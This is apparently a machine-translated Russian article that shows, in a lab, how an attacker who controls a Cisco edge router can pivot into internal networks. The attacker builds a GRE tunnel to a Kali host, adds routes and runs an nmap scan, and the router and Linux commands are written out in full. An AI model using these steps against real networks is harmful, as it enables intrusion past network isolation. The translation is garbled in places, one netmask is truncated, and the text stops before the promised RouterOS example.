• Сб. Янв 28th, 2023

Поворотный район. GRE переключается на сетевое оборудование

Поворотный район.  GRE переключается на сетевое оборудование

При настройке мер безопасности сетевое оборудование часто остается без присмотра администраторов, что увеличивает вероятность взлома и получения контроля над такими устройствами. Что делать, если злоумышленник уже получил контроль над пограничным оборудованием? Сможет ли он подобраться к внутренней инфраструктуре?

Пивотирование (от англ. pivoting, а не от слова «пиво») — это набор техник, позволяющих получить доступ к внутренним ресурсам, минуя сетевую изоляцию, средства сетевой защиты и брандмауэр. Довольно много было сказано о повороте через традиционные сервисы, такие как SSH, OVPN и другие. Но в своем исследовании я продемонстрирую нетрадиционные приемы поворота через пограничное сетевое оборудование с использованием протокола GRE.

GRE

GRE (Generic Routing Encapsulation) — это протокол инкапсуляции сетевых пакетов IP, разработанный инженерами Cisco. В производстве он приобрел большую популярность, поскольку решает проблемы создания каналов VPN для организаций. GRE инкапсулирует непосредственно в IP-пакет, минуя транспортный уровень. Кстати, в контексте IP-пакета у GRE есть свой числовой идентификатор — 47. На самом деле GRE не обеспечивает защиты туннелируемых данных. Поэтому в продакшене обычно скрещивают GRE и IPSec для обеспечения безопасности данных. В этой статье я немного расскажу о GRE, чтобы вы поняли, зачем он нам нужен.

Простой пример GRE-туннеля

Туннелирование GRE здесь подразумевает три сущности:

  • Заголовок доставки. Представляет IP-пакет с общедоступными адресами источника/назначения. Благодаря ему инкапсулированный пакет сможет достичь пункта назначения в Интернете. Его размер составляет 20 байт;
  • пакет ГРЭ. Его размер 4 байта;
  • пассажир. Это полезная нагрузка, трафик, генерируемый законными сервисами.
Заголовки службы GRE
Служебные заголовки GRE
Структура GRE Версии 0
Структура GRE версии 0

GRE имеет две версии — 0 и 1. На изображении выше показана структура нулевой версии протокола GRE. Это то, что обычно используется. Как видите, большинство заголовков здесь необязательны, то есть хранящиеся там значения не всегда есть и появляются только в определенных сценариях. GRE также содержит идентификатор инкапсулирующего протокола в заголовке типа протокола. У каждого протокола есть свой идентификатор: например, для пакета IPv4 этот идентификатор 0x0800.

Идентификатор пакета IPv4 в заголовке GRE
Идентификатор пакета IPv4 в заголовке GRE

ЧИТАТЬ   Около 35 000 пользователей PayPal пострадали от атак с подменой учетных данных.

Лабораторная сеть

Показанная на схеме сеть будет выполнять роль лабораторного стенда.

Топология лабораторной сети
Топология лабораторной сети

Это типичная корпоративная сеть с тремя уровнями (доступ, распределение и ядро). Протокол OSPF используется в качестве динамической маршрутизации, а HSRP — для отказоустойчивости доступности шлюза. У нас есть четыре коммутатора уровня доступа и четыре VLAN со своей адресацией. Также подключается отдельный коммутатор уровня распределения, за которым следует сетевой 192.168.20.0/24.

Пограничным маршрутизатором будет Cisco CSR и Mikrotik CHR v. 6.49.6.

С точки зрения атакующей стороны машина с Kali Linux и общедоступным IP-адресом является примером атаки из Интернета. Предположим, злоумышленник каким-то образом получил доступ к панели управления пограничного маршрутизатора, потому что мы хотим продемонстрировать поворот, который, как известно, является одним из этапов постэксплуатации.

L3 GRE VPN поверх Cisco IOS

Продемонстрирую небольшой пример организации туннеля L3 во внутреннюю сеть, которая находится за самим пограничным маршрутизатором. В целом принципы настройки GRE не отличаются у всех производителей сетевого оборудования, вопрос только в различном синтаксисе. Давайте сначала посмотрим, как настроить Cisco.

Конфигурация GRE в Cisco IOS включает следующее:

  • создание логического интерфейса;
  • Указание режима, в котором будет работать туннель (GRE);
  • Присвоение адреса интерфейсу (здесь мы берем адреса 172.16.0.1 Для Кали и 172.16.0.2 для Cisco XR);
  • адрес источника назначения 212.100.144.100;
  • присвоение адреса 100.132.55.100.

EdgeGW(config)# interface tunnel 1

EdgeGW(config-if)# tunnel mode gre ip

EdgeGW(config-if)# ip address 172.16.0.2 255.255.255.

EdgeGW(config-if)# tunnel source 212.100.144.100

EdgeGW(config-if)# tunnel destination 100.132.55.100

Теперь настала очередь второй стороны тоннеля GRE. В нашем случае «второй стороной» будет хост злоумышленника. Linux отлично поддерживает GRE с необходимым модулем ядра ip_gre. И это почти везде.

Вот шаги:

  • Импорт модуля ядра;
  • Создание логического интерфейса с указанием типа, адресов источника и назначения;
  • адрес назначения логического интерфейса;
  • включение интерфейса.

[email protected]:~$ sudo modprobe ip_gre

[email protected]:~$ sudo ip link add name evilgre type gre local 100.132.55.100 remote 212.100.144.100

[email protected]:~$ sudo ip addr add 172.16.0.1/24 dev evilgre

[email protected]:~$ sudo ip link set evilgre up

Проверим работу туннеля, пропинговав интерфейс туннеля Cisco CSR.

Пингуйте злоумышленника на вторую сторону туннеля
Пингуйте злоумышленника на вторую сторону туннеля
Пинг от Cisco CSR
Пинг от Cisco CSR

Посмотрим на таблицу маршрутизации, добавим несколько маршрутов в подсети для проверки доступности.

Таблица маршрутизации пограничного маршрутизатора Cisco XR
Таблица маршрутизации пограничного маршрутизатора Cisco CSR

Прописываем маршруты к целевым подсетям. Адрес шлюза в этом случае будет адресом логического GRE-интерфейса маршрутизатора Cisco CSR — 172.16.0.2.

[email protected]:~$ sudo route add -net 10.10.50.0 netmask 255.255.255.0 gw 172.16.0.2

[email protected]:~$ sudo route add -net 10.10.110.0 netmask 255.255.255.0 gw 172.16.0.2

[email protected]:~$ sudo route add -net 10.10.140.0 netmask 255.255.255.0 gw 172.16.0.2

[email protected]:~$ sudo route add -net 10.10.210.0 netmask 255.255.255.0 gw 172.16.0.2

[email protected]:~$ sudo route add -net 192.168.20.0 netmask 255.255.255.0 gw 172.16.0.2

[email protected]:~$ sudo nmap -n -p 22 -iL targets -oA result

Результаты SSH-сканирования внутренней инфраструктуры
Результаты сканирования внутренней инфраструктуры SSH

Вот как будет выглядеть инкапсулированный пакет, если злоумышленник взаимодействует с внутренней сетью (ICMP, на примере внутренней подсети назначения 192.168.20.0/24).

L3 GRE VPN поверх RouterOS

Сейчас я продемонстрирую пример на оборудовании Mikrotik. Принципы настройки абсолютно те же, разница только в синтаксисе и иерархии расположения сущностей (Интерфейсы, IP адресация и так далее).

Информация

Вот команды специально для RouterOS v. 6.

Source